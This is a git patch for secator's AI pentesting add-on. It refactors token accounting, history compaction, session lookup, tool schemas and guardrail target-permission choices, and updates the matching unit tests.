self.count_tokens(model) threshold = usable * threshold_pct / 100 should = used > threshold @@ -450,8 +454,7 @@ def compact(self, model: str, api_base: Optional[str] = None, _strip_leading_orphan_tools(to_keep) # Calculate target summary size based on available context - context_window = get_context_window(model) - usable = context_window - OUTPUT_TOKEN_RESERVATION + usable = _usable_tokens(model) target_tokens = int(usable * 0.3) # Target 30% of usable context max_words = target_tokens // 2 # Rough tokens-to-words ratio @@ -464,22 +467,16 @@ def compact(self, model: str, api_base: Optional[str] = None, # Record billed usage of the summarization call so the owning task can # roll it into context.ai_tokens. Missing usage counts as 0. usage = result.get("usage") or {} - try: - self.billed_tokens += int(usage.get("tokens") or 0) - except (TypeError, ValueError): - pass - try: - self.billed_prompt_tokens += int(usage.get("prompt_tokens") or 0) - except (TypeError, ValueError): - pass - try: - self.billed_completion_tokens += int(usage.get("completion_tokens") or 0) - except (TypeError, ValueError): - pass - try: - self.billed_cost += float(usage.get("cost") or 0) - except (TypeError, ValueError): - pass + for attr, key, cast in ( + ("billed_tokens", "tokens", int), + ("billed_prompt_tokens", "prompt_tokens", int), + ("billed_completion_tokens", "completion_tokens", int), + ("billed_cost", "cost", float), + ): + try: + setattr(self, attr, getattr(self, attr) + cast(usage.get(key) or 0)) + except (TypeError, ValueError): + pass self.messages = [] if initial_system: diff --git a/secator/ai/prompts.py b/secator/ai/prompts.py index 4a0d87bac..8d7812997 100644 --- a/secator/ai/prompts.py +++ b/secator/ai/prompts.py @@ -261,27 +261,6 @@ def get_system_prompt(mode: str, workspace_path: str = "", backend=None) -> str: return result.replace("$workspace_path", ws) -# def format_user_initial(targets: List[str], instructions: str, previous_results: List[Dict] = None) -> str: -# """Format initial user message as compact JSON. - -# Args: -# targets: List of target hosts/URLs -# instructions: User instructions for the task -# previous_results: Optional list of result dicts from upstream tasks - -# Returns: -# Compact JSON string (no whitespace) -# """ -# results_str = json.dumps(previous_results, default=str) -# instructions_str = json.dumps(instructions or "Analyze the previous results first") -# return f""" -# -# {instructions_str} -# {results_str} -# -# """ - - def format_tool_result(name: str, status: str, count: int, results: Any, max_items: int = 100) -> str: """Format tool result as compact JSON, truncating results if too many. diff --git a/secator/ai/session.py b/secator/ai/session.py index b64c906fa..85fedc3d3 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -53,21 +53,26 @@ def list_sessions(max_sessions=20): ai_items = data.get('results', {}).get('ai', []) if not ai_items: continue - # Find first user prompt content and session name + # Find first user prompt content + session name, and the first non-empty + # `_context.session_id` across ALL ai docs (every persisted item stamps it, + # letting a resumed run adopt this session's id) -- single pass, stopping + # once both have been found. first_prompt = '' session_name = '' + session_id = '' + found_prompt = False + found_session_id = False for item in ai_items: - if item.get('ai_type') == 'prompt': + if not found_prompt and item.get('ai_type') == 'prompt': first_prompt = item.get('content', '') session_name = (item.get('_context') or {}).get('session_name', '') or (item.get('_context') or {}).get('name', '') - break - # session_id: first non-empty `_context.session_id` across ALL ai docs (every - # persisted item stamps it) -- lets a resumed run adopt this session's id. - session_id = '' - for item in ai_items: - sid = (item.get('_context') or {}).get('session_id', '') - if sid: - session_id = sid + found_prompt = True + if not found_session_id: + sid = (item.get('_context') or {}).get('session_id', '') + if sid: + session_id = sid + found_session_id = True + if found_prompt and found_session_id: break info = data.get('info', {}) sessions.append({ diff --git a/secator/ai/tools.py b/secator/ai/tools.py index 72a9d2cbd..d3aebb438 100644 --- a/secator/ai/tools.py +++ b/secator/ai/tools.py @@ -15,6 +15,13 @@ "stop": "stop", } +# Shared "targets" parameter schema (identical across run_task/run_workflow) +_TARGETS_SCHEMA = { + "type": "array", + "items": {"type": "string"}, + "description": "List of targets (hosts, URLs, IPs)." +} + # OpenAI-format tool schemas keyed by tool name TOOL_SCHEMAS = { "run_task": { @@ -29,11 +36,7 @@ "type": "string", "description": "The task name (e.g. nmap, httpx, nuclei, ffuf)." }, - "targets": { - "type": "array", - "items": {"type": "string"}, - "description": "List of targets (hosts, URLs, IPs)." - }, + "targets": _TARGETS_SCHEMA, "opts": { "type": "object", "description": "Optional task-specific options (e.g. ports, rate_limit). Control/security flags are ignored." @@ -55,11 +58,7 @@ "type": "string", "description": "The workflow name." }, - "targets": { - "type": "array", - "items": {"type": "string"}, - "description": "List of targets (hosts, URLs, IPs)." - }, + "targets": _TARGETS_SCHEMA, "opts": { "type": "object", "description": "Optional workflow options (e.g. profiles). Control/security flags are ignored." From ce16e4e63c84118b8040528c69a2ba7e1fa7f997 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 13 Jul 2026 20:45:41 +0200 Subject: [PATCH 129/129] refactor(ai): drop over-engineered flexibility (ponytail-review) Delete unused 'yes' opt, dead add_tool/add_system history methods, truncate_to_tokens output_dir/result_name params+branch, and the never-read 'selected' choice key. Inline yagni defaults: compact(keep_last), should_compact(threshold_pct), call_llm(max_retries), _format_model(idx). Tests updated to the trimmed APIs. No behavior change; AI suite green, flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/guardrails.py | 10 ---- secator/ai/history.py | 27 ++--------- secator/ai/utils.py | 8 ++-- secator/tasks/ai.py | 1 - tests/unit/test_ai_handlers.py | 2 +- tests/unit/test_ai_history.py | 87 ++++++++-------------------------- tests/unit/test_ai_loop.py | 6 +-- tests/unit/test_ai_tokens.py | 17 +++---- tests/unit/test_ai_utils.py | 20 ++++---- 9 files changed, 52 insertions(+), 126 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index eb77a616d..375ed4263 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -680,27 +680,22 @@ def build_target_choices(target: str) -> List[Dict]: { "label": f"Allow this URL only ({base_path})", "rules": [f"target({base_path}*)"], - "selected": False, }, { "label": f"Allow all URLs from {host_port}", "rules": host_rules, - "selected": False, }, { "label": f"Allow all URLs from {host} (any port)", "rules": host_rules, - "selected": False, }, { "label": "All of the above", "rules": host_rules, - "selected": False, }, { "label": "Deny (block this action)", "rules": [], - "selected": False, }, ] # Deduplicate options 2 and 3 when there's no port @@ -715,27 +710,22 @@ def build_target_choices(target: str) -> List[Dict]: { "label": f"Allow {target} only", "rules": [host_rule], - "selected": False, }, { "label": f"Allow {target} (any port)", "rules": [host_rule, port_rule], - "selected": False, }, { "label": f"Allow all URLs from {target} (any port)", "rules": [host_rule, port_rule, url_rule, f"target((http|https)://{target}/*)"], - "selected": False, }, { "label": "All of the above", "rules": [host_rule, port_rule, url_rule, f"target((http|https)://{target}/*)"], - "selected": False, }, { "label": "Deny (block this action)", "rules": [], - "selected": False, }, ] return choices diff --git a/secator/ai/history.py b/secator/ai/history.py index ff0352d45..36783c8ca 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -2,7 +2,6 @@ """Chat history management for AI task - litellm format.""" import json from dataclasses import dataclass, field -from datetime import datetime from pathlib import Path from typing import Dict, List, Optional, Tuple @@ -73,8 +72,6 @@ def truncate_to_tokens( max_tokens: int, model: str, fallback_path: Path = None, - output_dir: Path = None, - result_name: str = "result" ) -> str: """Truncate content to fit within token budget, with file fallback. @@ -83,8 +80,6 @@ def truncate_to_tokens( max_tokens: Maximum tokens allowed model: LLM model name for token counting fallback_path: Existing file to reference (task/workflow report.json) - output_dir: Directory to save shell output (creates file) - result_name: Prefix for saved filename Returns: Original content if under budget, or truncated with [TRUNCATED] marker @@ -101,13 +96,6 @@ def truncate_to_tokens( if fallback_path and fallback_path.exists(): file_hint = f"\nFull output: {fallback_path}" debug(f'using existing fallback: {fallback_path}', sub='runner.ai.context') - elif output_dir: - output_dir.mkdir(parents=True, exist_ok=True) - timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") - fallback_path = output_dir / f"{result_name}_{timestamp}.txt" - fallback_path.write_text(content) - file_hint = f"\nFull output saved to: {fallback_path}" - debug(f'saved output to: {fallback_path}', sub='runner.ai.context') else: file_hint = "" @@ -163,9 +151,6 @@ class ChatHistory: billed_completion_tokens: int = 0 billed_cost: float = 0.0 - def add_system(self, content: str) -> None: - self.messages.append({"role": "system", "content": content}) - def set_system(self, content: str) -> None: """Replace the first system message, or insert one at the start. @@ -210,9 +195,6 @@ def add_tool_result(self, name: str, tool_call_id: str, content: str) -> None: msg["name"] = name self.messages.append(msg) - def add_tool(self, content: str) -> None: - self.messages.append({"role": "tool", "content": content}) - def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: """Return a copy of the messages list, trimming if over the effective budget. @@ -365,19 +347,18 @@ def get_available_tokens(self, model: str) -> int: ) return available - def should_compact(self, model: str, threshold_pct: int = COMPACTION_THRESHOLD_PCT) -> bool: + def should_compact(self, model: str) -> bool: """Check if compaction needed based on % of context used. Args: model: LLM model name - threshold_pct: Percentage threshold (default 85) Returns: True if compaction needed """ usable = _usable_tokens(model) used = self.count_tokens(model) - threshold = usable * threshold_pct / 100 + threshold = usable * COMPACTION_THRESHOLD_PCT / 100 should = used > threshold pct_used = (used / usable * 100) if usable > 0 else 0 debug( @@ -413,7 +394,7 @@ def maybe_summarize(self, model: str, api_base: Optional[str] = None, return True, old_tokens, new_tokens def compact(self, model: str, api_base: Optional[str] = None, - api_key: Optional[str] = None, keep_last: int = 4) -> None: + api_key: Optional[str] = None) -> None: """Summarize non-system messages using an LLM, keeping the initial system prompt and the last few messages intact so the LLM retains recent context. @@ -421,8 +402,8 @@ def compact(self, model: str, api_base: Optional[str] = None, model: LLM model name api_base: Optional API base URL api_key: Optional API key - keep_last: Number of recent non-system messages to preserve (default 4) """ + keep_last = 4 if len(self.messages) <= 2: return diff --git a/secator/ai/utils.py b/secator/ai/utils.py index f7cee7108..c2b3315da 100644 --- a/secator/ai/utils.py +++ b/secator/ai/utils.py @@ -649,13 +649,14 @@ def call_llm( temperature: float = 0.7, api_base: Optional[str] = None, api_key: Optional[str] = None, - max_retries: int = 3, tools: Optional[List[Dict]] = None, ) -> Dict: """Call litellm completion and return response with usage.""" import time import litellm + max_retries = 3 + # Initialize litellm once (avoids callback accumulation) init_llm(api_key=api_key) @@ -797,15 +798,14 @@ def setup_ai(): all_parts.add(p) part_colors = {p: MODEL_COLORS[i % len(MODEL_COLORS)] for i, p in enumerate(sorted(all_parts))} - def _format_model(m, idx=None): + def _format_model(m, idx): parts = m.split('/') if len(parts) > 1: segments = [f"[bold {part_colors[p]}]{p}[/]" for p in parts[:-1]] colored = '/'.join(segments) + f"/[bold white]{parts[-1]}[/]" else: colored = f"[bold white]{m}[/]" - prefix = f"[dim]{idx:>4}[/] " if idx is not None else " " - return prefix + colored + return f"[dim]{idx:>4}[/] " + colored def _show_models(displayed, suffix, leading_newline=False): prefix = "\n" if leading_newline else "" diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 3fc3c2f15..a220f20cf 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -149,7 +149,6 @@ class ai(PythonRunner): "max_iterations": {"type": int, "default": 10, "help": "Max iterations"}, "temperature": {"type": float, "default": 0.7, "help": "LLM temperature"}, "dry_run": {"is_flag": True, "default": False, "help": "Show without executing"}, - "yes": {"is_flag": True, "default": False, "short": "y", "help": "Auto-accept"}, "intent_model": {"type": str, "default": CONFIG.addons.ai.intent_model, "help": "Model for intent detection"}, "max_tokens_total": { "type": int, "default": CONFIG.addons.ai.max_tokens_total, diff --git a/tests/unit/test_ai_handlers.py b/tests/unit/test_ai_handlers.py index 2ad9413e8..aabba8d5d 100644 --- a/tests/unit/test_ai_handlers.py +++ b/tests/unit/test_ai_handlers.py @@ -150,7 +150,7 @@ def test_ai_task_has_required_opts(self): from secator.tasks.ai import ai required_opts = ['prompt', 'mode', 'model', 'api_base', 'sensitive', - 'max_iterations', 'temperature', 'dry_run', 'yes'] + 'max_iterations', 'temperature', 'dry_run'] for opt in required_opts: self.assertIn(opt, ai.opts, f"Missing opt: {opt}") diff --git a/tests/unit/test_ai_history.py b/tests/unit/test_ai_history.py index 82b2c4714..22d149028 100644 --- a/tests/unit/test_ai_history.py +++ b/tests/unit/test_ai_history.py @@ -13,18 +13,9 @@ @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestChatHistory(unittest.TestCase): - def test_add_system(self): - history = ChatHistory() - history.add_system("You are an assistant.") - - messages = history.to_messages() - self.assertEqual(len(messages), 1) - self.assertEqual(messages[0]["role"], "system") - self.assertEqual(messages[0]["content"], "You are an assistant.") - def test_set_system_replaces_existing(self): history = ChatHistory() - history.add_system("old prompt") + history.set_system("old prompt") history.add_user("user msg") history.set_system("new prompt") @@ -62,7 +53,7 @@ def test_add_assistant(self): def test_to_messages_returns_list(self): history = ChatHistory() - history.add_system("sys") + history.set_system("sys") history.add_user("user") history.add_assistant("assistant") @@ -88,16 +79,6 @@ def test_to_messages_returns_copy(self): # Original should be unchanged self.assertEqual(len(history.to_messages()), 1) - - def test_add_tool(self): - history = ChatHistory() - history.add_tool("tool output here") - - messages = history.to_messages() - self.assertEqual(len(messages), 1) - self.assertEqual(messages[0]["role"], "tool") - self.assertEqual(messages[0]["content"], "tool output here") - @patch('secator.ai.history.get_context_window') @patch('litellm.token_counter') def test_maybe_summarize_below_threshold(self, mock_token_counter, mock_get_ctx): @@ -106,7 +87,7 @@ def test_maybe_summarize_below_threshold(self, mock_token_counter, mock_get_ctx) mock_token_counter.return_value = 1000 # Well under 85% history = ChatHistory() - history.add_system("system prompt") + history.set_system("system prompt") history.add_user("short message") summarized, old_tokens, new_tokens = history.maybe_summarize("test-model") @@ -130,7 +111,7 @@ def test_maybe_summarize_above_threshold(self, mock_token_counter, mock_call_llm mock_call_llm.return_value = {"content": "Summary of session.", "usage": None} history = ChatHistory() - history.add_system("system prompt") + history.set_system("system prompt") # Add enough content to exceed threshold for i in range(20): history.add_user("x" * 200) @@ -154,7 +135,7 @@ def test_summarize_preserves_system_prompt(self, mock_token_counter, mock_call_l mock_call_llm.return_value = {"content": "Compact summary.", "usage": None} history = ChatHistory() - history.add_system("You are an AI pentester.") + history.set_system("You are an AI pentester.") for i in range(10): history.add_user("x" * 200) history.add_assistant("y" * 200) @@ -175,7 +156,7 @@ def test_summarize_preserves_system_prompt(self, mock_token_counter, mock_call_l def test_trim_drops_oldest_messages(self): """Trim drops messages to fit under token limit.""" history = ChatHistory() - history.add_system("s" * 40) + history.set_system("s" * 40) history.add_user("u" * 40) for i in range(10): history.add_user(f"msg{i} " + "x" * 200) @@ -196,7 +177,7 @@ def test_trim_sanitizes_none_content_before_trimmer(self): with 'object of type NoneType has no len()'. trim() coerces them to "". """ history = ChatHistory() - history.add_system("s") + history.set_system("s") history.add_user("u") # assistant turn carrying only tool_calls -> content is None history.add_assistant_with_tool_calls(None, [ @@ -224,7 +205,7 @@ def test_trim_survives_trimmer_exception(self): trim() degrades to the (sanitized) untrimmed history instead. """ history = ChatHistory() - history.add_system("s") + history.set_system("s") history.add_user("u") with patch("litellm.utils.trim_messages", side_effect=RuntimeError("boom")): @@ -235,7 +216,7 @@ def test_trim_survives_trimmer_exception(self): def test_to_messages_with_max_tokens_total(self): """to_messages with max_tokens_total trims messages.""" history = ChatHistory() - history.add_system("s" * 40) + history.set_system("s" * 40) history.add_user("u" * 40) for i in range(20): history.add_user("x" * 400) @@ -254,7 +235,7 @@ def test_to_messages_with_max_tokens_total(self): def test_to_messages_no_truncation_when_under_limit(self): """to_messages with max_tokens_total does nothing when under limit.""" history = ChatHistory() - history.add_system("short") + history.set_system("short") history.add_user("msg") messages = history.to_messages(max_tokens_total=500) @@ -267,7 +248,7 @@ def test_to_messages_caps_budget_to_small_window(self, mock_get_ctx): history = ChatHistory() history.model = "small-model" - history.add_system("s" * 40) + history.set_system("s" * 40) for i in range(40): history.add_user("x" * 4000) # long history, well over 8k tokens @@ -285,7 +266,7 @@ def test_to_messages_no_explicit_cap_uses_window(self, mock_get_ctx): history = ChatHistory() history.model = "small-model" - history.add_system("s" * 40) + history.set_system("s" * 40) for i in range(40): history.add_user("x" * 4000) @@ -301,7 +282,7 @@ def test_to_messages_large_window_matches_flat_budget(self, mock_get_ctx): history = ChatHistory() history.model = "big-model" - history.add_system("short") + history.set_system("short") history.add_user("small message") with patch.object(history, 'trim', wraps=history.trim) as spy: @@ -316,7 +297,7 @@ def test_to_messages_window_cap_preserves_tool_pairs(self, mock_get_ctx): history = ChatHistory() history.model = "small-model" - history.add_system("s" * 40) + history.set_system("s" * 40) for i in range(30): tool_calls = [{"id": f"call_{i}", "type": "function", "function": {"name": "nmap", "arguments": "{}"}}] @@ -333,7 +314,7 @@ def test_to_messages_window_cap_preserves_tool_pairs(self, mock_get_ctx): def test_to_messages_no_truncation_when_zero(self): """to_messages without max_tokens_total does not truncate.""" history = ChatHistory() - history.add_system("s" * 40) + history.set_system("s" * 40) history.add_user("u" * 40) for i in range(20): history.add_user("x" * 400) @@ -347,7 +328,7 @@ def test_to_messages_no_truncation_when_zero(self): def test_maybe_summarize_skips_when_not_needed(self, mock_token_counter, mock_get_model_info): history = ChatHistory() - history.add_system("system") + history.set_system("system") history.add_user("user") original_messages = history.to_messages() @@ -433,7 +414,7 @@ def test_set_system_invalidates_token_cache(self, mock_token_counter): mock_token_counter.return_value = 50 history = ChatHistory() - history.add_system("old prompt") + history.set_system("old prompt") # Count tokens - this caches the count history.count_tokens("gpt-4") @@ -597,32 +578,6 @@ def test_truncate_to_tokens_with_fallback_path(self, mock_token_counter): finally: fallback_path.unlink() - @patch('litellm.token_counter') - def test_truncate_to_tokens_saves_shell_output(self, mock_token_counter): - """truncate_to_tokens saves shell output to .outputs directory.""" - from secator.ai.history import truncate_to_tokens - - mock_token_counter.return_value = 1000 - content = "shell output " * 500 - - with tempfile.TemporaryDirectory() as tmpdir: - output_dir = Path(tmpdir) - - result = truncate_to_tokens( - content, 100, "gpt-4", - output_dir=output_dir, - result_name="shell" - ) - - self.assertIn("[TRUNCATED]", result) - self.assertIn("saved to:", result) - - # Verify file was created - saved_files = list(output_dir.glob("shell_*.txt")) - self.assertEqual(len(saved_files), 1) - self.assertEqual(saved_files[0].read_text(), content) - - @patch('secator.ai.history.get_context_window') @patch('secator.ai.utils.call_llm') @patch('litellm.token_counter') @@ -635,7 +590,7 @@ def test_maybe_summarize_uses_percentage_threshold(self, mock_token_counter, moc mock_call_llm.return_value = {"content": "Summary.", "usage": None} history = ChatHistory() - history.add_system("system") + history.set_system("system") history.add_user("user1") history.add_assistant("response1") @@ -652,7 +607,7 @@ def test_maybe_summarize_no_threshold_param(self, mock_token_counter, mock_get_c mock_token_counter.return_value = 1000 history = ChatHistory() - history.add_system("system") + history.set_system("system") # Should work without threshold param summarized, _, _ = history.maybe_summarize("gpt-4") @@ -721,7 +676,7 @@ def test_summarize_handles_tool_messages(self, mock_token_counter, mock_call_llm mock_call_llm.return_value = {"content": "Summary with tool results.", "usage": None} history = ChatHistory() - history.add_system("system prompt") + history.set_system("system prompt") history.add_user("scan target.com") # Add several rounds with tool calling messages @@ -747,7 +702,7 @@ def test_count_tokens_by_role(self, mock_token_counter): mock_token_counter.return_value = 100 history = ChatHistory() - history.add_system("system prompt") + history.set_system("system prompt") history.add_user("user message") history.add_assistant("assistant reply") history.add_tool_result("tool_func", "call_1", "tool result") diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index ab313c8fd..195a62c4f 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -839,7 +839,7 @@ def test_multi_turn_local_loop(self): engine = PermissionEngine(_make_permission_config(), targets=["10.0.0.1"], workspace="/tmp/ws") ctx = _make_ctx(interactive="local", engine=engine) history = ChatHistory() - history.add_system("You are a pentester.") + history.set_system("You are a pentester.") history.add_user("Scan 10.0.0.1") # --- Turn 1: LLM returns shell tool call --- @@ -928,7 +928,7 @@ def mock_ask(question="", choices=None, session_id="", prompt_type="", **kwargs) ctx = _make_ctx(interactive="remote", backend=mock_backend, engine=engine, session_id="remote-e2e") history = ChatHistory() - history.add_system("You are a pentester.") + history.set_system("You are a pentester.") history.add_user("Scan 10.0.0.1") # --- Turn 1: Shell command needing remote permission --- @@ -987,7 +987,7 @@ def test_multi_turn_auto_loop(self): """ ctx = _make_ctx(interactive="auto") history = ChatHistory() - history.add_system("You are a pentester.") + history.set_system("You are a pentester.") history.add_user("Scan 10.0.0.1") # --- Turn 1: Unknown command → blocked --- diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py index 83f81cf4a..72d311226 100644 --- a/tests/unit/test_ai_tokens.py +++ b/tests/unit/test_ai_tokens.py @@ -121,7 +121,7 @@ def test_history_summarization_usage_drained_once(self): def test_history_compact_records_billed_usage(self): """ChatHistory.compact accrues the summarization call's billed tokens.""" history = ChatHistory(model="test-model") - history.add_system("system") + history.set_system("system") history.add_user("u1") history.add_assistant("a1") history.add_user("u2") @@ -132,7 +132,7 @@ def test_history_compact_records_billed_usage(self): fake = {"content": "summary", "usage": {"tokens": 321, "cost": 0.003}} with patch('secator.ai.utils.call_llm', return_value=fake): with patch('secator.ai.history.get_context_window', return_value=8000): - history.compact("test-model", keep_last=2) + history.compact("test-model") self.assertEqual(history.billed_tokens, 321) self.assertAlmostEqual(history.billed_cost, 0.003) @@ -140,7 +140,7 @@ def test_history_compact_records_billed_usage(self): def test_history_compact_missing_usage_is_zero(self): """compact() with no usage on the response adds 0 billed tokens.""" history = ChatHistory(model="test-model") - history.add_system("system") + history.set_system("system") history.add_user("u1") history.add_assistant("a1") history.add_user("u2") @@ -151,7 +151,7 @@ def test_history_compact_missing_usage_is_zero(self): fake = {"content": "summary", "usage": None} with patch('secator.ai.utils.call_llm', return_value=fake): with patch('secator.ai.history.get_context_window', return_value=8000): - history.compact("test-model", keep_last=2) + history.compact("test-model") self.assertEqual(history.billed_tokens, 0) @@ -453,7 +453,7 @@ def test_repair_handles_leading_orphan_tool(self): def test_trim_strips_leading_orphan_tool(self): """After litellm drops the assistant parent, trim() removes the orphan tool.""" history = ChatHistory(model="test-model") - history.add_system("sys") + history.set_system("sys") history.add_assistant_with_tool_calls(None, [{"id": "t1", "function": {"name": "noop", "arguments": "{}"}}]) history.add_tool_result("noop", "t1", "{}") history.add_user("u1") @@ -467,19 +467,20 @@ def test_trim_strips_leading_orphan_tool(self): self.assertFalse(any(m["role"] == "tool" for m in out)) def test_compact_strips_leading_orphan_tool_in_kept_tail(self): - """keep_last tail cut that starts on a tool_result is repaired.""" + """keep_last (fixed at 4) tail cut that starts on a tool_result is repaired.""" history = ChatHistory(model="test-model") - history.add_system("sys") + history.set_system("sys") history.add_user("u1") history.add_assistant_with_tool_calls(None, [{"id": "t1", "function": {"name": "noop", "arguments": "{}"}}]) history.add_tool_result("noop", "t1", "{}") + history.add_user("u_filler") history.add_assistant("a2") history.add_user("u2") fake = {"content": "summary", "usage": None} with patch('secator.ai.utils.call_llm', return_value=fake): with patch('secator.ai.history.get_context_window', return_value=8000): - history.compact("test-model", keep_last=3) + history.compact("test-model") nonsys = [m for m in history.messages if m["role"] != "system"] self.assertIn(nonsys[0]["role"], ("user", "assistant")) diff --git a/tests/unit/test_ai_utils.py b/tests/unit/test_ai_utils.py index 70b587de8..15c59688e 100644 --- a/tests/unit/test_ai_utils.py +++ b/tests/unit/test_ai_utils.py @@ -255,7 +255,7 @@ def test_call_llm_non_orphan_400_fails_fast(self, mock_completion, mock_sleep): mock_completion.side_effect = err with self.assertRaises(litellm.BadRequestError): - call_llm([{"role": "user", "content": "hi"}], "test-model", max_retries=3) + call_llm([{"role": "user", "content": "hi"}], "test-model") self.assertEqual(mock_completion.call_count, 1) # no 3x spin mock_sleep.assert_not_called() @@ -290,7 +290,7 @@ def side_effect(**kwargs): return ok_response mock_completion.side_effect = side_effect - result = call_llm([{"role": "user", "content": "hi"}], "claude", max_retries=3) + result = call_llm([{"role": "user", "content": "hi"}], "claude") self.assertEqual(result["content"], "ok") self.assertEqual(mock_completion.call_count, 2) # repaired then succeeded @@ -329,7 +329,7 @@ def side_effect(**kwargs): return ok_response mock_completion.side_effect = side_effect - result = call_llm([{"role": "user", "content": "hi"}], "claude", max_retries=3) + result = call_llm([{"role": "user", "content": "hi"}], "claude") self.assertEqual(result["content"], "ok") self.assertEqual(mock_completion.call_count, 2) # deduped then succeeded @@ -355,7 +355,7 @@ def test_call_llm_transient_error_still_retries(self, mock_cost, mock_completion ) mock_completion.side_effect = [err, ok_response] - result = call_llm([{"role": "user", "content": "hi"}], "test-model", max_retries=3) + result = call_llm([{"role": "user", "content": "hi"}], "test-model") self.assertEqual(result["content"], "ok") self.assertEqual(mock_completion.call_count, 2) # transient retry honored @@ -378,7 +378,7 @@ def test_all_choices_not_shown_with_single_choice(self, mock_menu_class): mock_menu_class.return_value = mock_menu history = ChatHistory() - history.add_system("system") + history.set_system("system") prompt_user(history, choices=["Single choice"]) @@ -401,7 +401,7 @@ def test_all_choices_shown_with_multiple_choices(self, mock_menu_class): mock_menu_class.return_value = mock_menu history = ChatHistory() - history.add_system("system") + history.set_system("system") prompt_user(history, choices=["Choice A", "Choice B"]) @@ -423,7 +423,7 @@ def test_all_choices_position_after_llm_choices(self, mock_menu_class): mock_menu_class.return_value = mock_menu history = ChatHistory() - history.add_system("system") + history.set_system("system") prompt_user(history, choices=["Choice A", "Choice B", "Choice C"]) @@ -450,7 +450,7 @@ def test_all_choices_formats_message_correctly(self, mock_menu_class): mock_menu_class.return_value = mock_menu history = ChatHistory() - history.add_system("system") + history.set_system("system") result = prompt_user(history, choices=choices, max_iterations=10) @@ -471,7 +471,7 @@ def test_all_choices_with_extra_instructions(self, mock_menu_class): mock_menu_class.return_value = mock_menu history = ChatHistory() - history.add_system("system") + history.set_system("system") result = prompt_user(history, choices=choices) @@ -593,7 +593,7 @@ def completion_side_effect(**kwargs): with patch('litellm.completion', side_effect=completion_side_effect), \ patch('time.sleep') as mock_sleep: - result = call_llm(messages, "claude", max_retries=3) + result = call_llm(messages, "claude") self.assertEqual(result["content"], "ok") mock_sleep.assert_not_called() # repair branch should skip the backoff sleep